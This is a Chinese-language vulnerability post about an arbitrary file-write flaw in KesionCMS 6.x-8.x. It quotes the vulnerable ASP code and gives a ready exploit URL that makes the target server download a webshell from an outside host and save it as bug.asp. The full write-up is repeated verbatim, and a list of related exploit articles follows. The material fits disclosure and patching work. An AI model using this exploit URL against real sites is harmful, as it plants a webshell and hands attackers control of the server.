kesioncms (科讯cms) 6.x-8.x版本写入任意内容文件漏洞
2013-04-20 16:12
525 查看
发布时间:2013-04-08 关键词:kesioncms
漏洞
漏洞版本:kesioncms(科讯cms) 6.x - 8.x
漏洞简介:未对提交参数判断,导致可将任意内容的文件写入网站服务器
漏洞代码:
Wap/Plus/PhotoVote.asp中:
Dim KS:Set KS=New
PublicCls
Dim ID:ID=
Replace(KS.S("ID")," ","")
Dim ChannelID:ChannelID=KS.G("ChannelID")
If ChannelID=""
Then ChannelID=2
If KS.G("LocalFileName")<>""
And KS.G("RemoteFileUrl")<>""
Then
If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))=
True Then
Response.write KS.G("LocalFileName")'错误提示
End If
End If
……
'==================================================
'过程名:SaveBeyondFile
'作 用:保存远程的文件到本地
'参 数:LocalFileName
------ 本地文件名
'参 数:RemoteFileUrl ------ 远程文件URL
'==================================================
Function SaveBeyondFile(LocalFileName,RemoteFileUrl)
On
Error Resume
Next
SaveBeyondFile=True
dim Ads,Retrieval,GetRemoteData
Set Retrieval
= Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open
"Get",
RemoteFileUrl,
False,
"",
""
.Send
If .Readystate<>4
then
SaveBeyondFile=False
Exit Function
End If
GetRemoteData =
.ResponseBody
End With
Set Retrieval
= Nothing
Set Ads
= Server.CreateObject("Adodb.Stream")
With Ads
.Type
= 1
.Open
.Write
GetRemoteData
.SaveToFile server.MapPath(LocalFileName),2
.Cancel()
.Close()
End With
If Err.Number<>0
Then
Err.Clear
SaveBeyondFile=False
Exit
Function
End If
Set Ads=nothing
End Function
通过上面的代码可见,KS.G("LocalFileName")和KS.G("RemoteFileUrl")仅判断是否为空和过滤一些SQL字符,然后就执行写入文件操作,过滤不严导致可构造恶意url写入文件。
漏洞利用URL:
http://目标网址/Wap/Plus/PhotoVote.asp?LocalFileName=bug.asp&RemoteFileUrl=http://bug8.com/code.txt
其中的code.txt为webshell代码文本。此URL将会在Wap/Plus下写入bug.asp,并返回文件名。
漏洞
漏洞版本:kesioncms(科讯cms) 6.x - 8.x
漏洞简介:未对提交参数判断,导致可将任意内容的文件写入网站服务器
漏洞代码:
Wap/Plus/PhotoVote.asp中:
Dim KS:Set KS=New
PublicCls
Dim ID:ID=
Replace(KS.S("ID")," ","")
Dim ChannelID:ChannelID=KS.G("ChannelID")
If ChannelID=""
Then ChannelID=2
If KS.G("LocalFileName")<>""
And KS.G("RemoteFileUrl")<>""
Then
If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))=
True Then
Response.write KS.G("LocalFileName")'错误提示
End If
End If
……
'==================================================
'过程名:SaveBeyondFile
'作 用:保存远程的文件到本地
'参 数:LocalFileName
------ 本地文件名
'参 数:RemoteFileUrl ------ 远程文件URL
'==================================================
Function SaveBeyondFile(LocalFileName,RemoteFileUrl)
On
Error Resume
Next
SaveBeyondFile=True
dim Ads,Retrieval,GetRemoteData
Set Retrieval
= Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open
"Get",
RemoteFileUrl,
False,
"",
""
.Send
If .Readystate<>4
then
SaveBeyondFile=False
Exit Function
End If
GetRemoteData =
.ResponseBody
End With
Set Retrieval
= Nothing
Set Ads
= Server.CreateObject("Adodb.Stream")
With Ads
.Type
= 1
.Open
.Write
GetRemoteData
.SaveToFile server.MapPath(LocalFileName),2
.Cancel()
.Close()
End With
If Err.Number<>0
Then
Err.Clear
SaveBeyondFile=False
Exit
Function
End If
Set Ads=nothing
End Function
通过上面的代码可见,KS.G("LocalFileName")和KS.G("RemoteFileUrl")仅判断是否为空和过滤一些SQL字符,然后就执行写入文件操作,过滤不严导致可构造恶意url写入文件。
漏洞利用URL:
http://目标网址/Wap/Plus/PhotoVote.asp?LocalFileName=bug.asp&RemoteFileUrl=http://bug8.com/code.txt
其中的code.txt为webshell代码文本。此URL将会在Wap/Plus下写入bug.asp,并返回文件名。
相关文章推荐
- eweb使用WINDOWS的“备份”工具对网站内容自动备份editor for php任意文件上传漏洞
- [代码审计]XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)
- ActiveMQ任意文件写入漏洞(版本在5.12.X前CVE-2016-3088)
- 科讯 kesionCMS >=8.0 9.0 任意下载漏洞最新 Exp
- Wolf CMS 新旧两个版本中的文件上传漏洞分析
- Discuz全版本任意文件删除漏洞
- fwrite在任意位置写入文件,并可修改文件内容
- phpcms <= v9.15 任意文件读取漏洞的分析和利用
- 首页巡警v1.2及以下版本 本地权限提升漏洞(任意内核地址写入)
- Discuz! 6.x/7.x 版本 前台任意代码执行漏洞
- c++ 将文件内容写入到数组
- FFmpeg任意文件读取漏洞分析
- java实现任意带table表格的html页面,生成与表格相同内容的excel文件
- Python 多线程搜索txt文件的内容,并写入搜到的内容(Lock)
- Linux学习笔记——如何使用echo指令向文件写入内容
- Android SD卡创建文件夹/文件 SD卡写入内容 SD卡删除文件 计算SD卡文件大小,Android6.0+权限
- 通过java的io流将本地文件读取到控制台,并将文件内容再次写入另一个文件中
- [转]java按指定编码写入和读取文件内容的类
- 替换文件中某个字符串并写入新内容(Java代码实现)
- c语言 读取文件内容 文件写入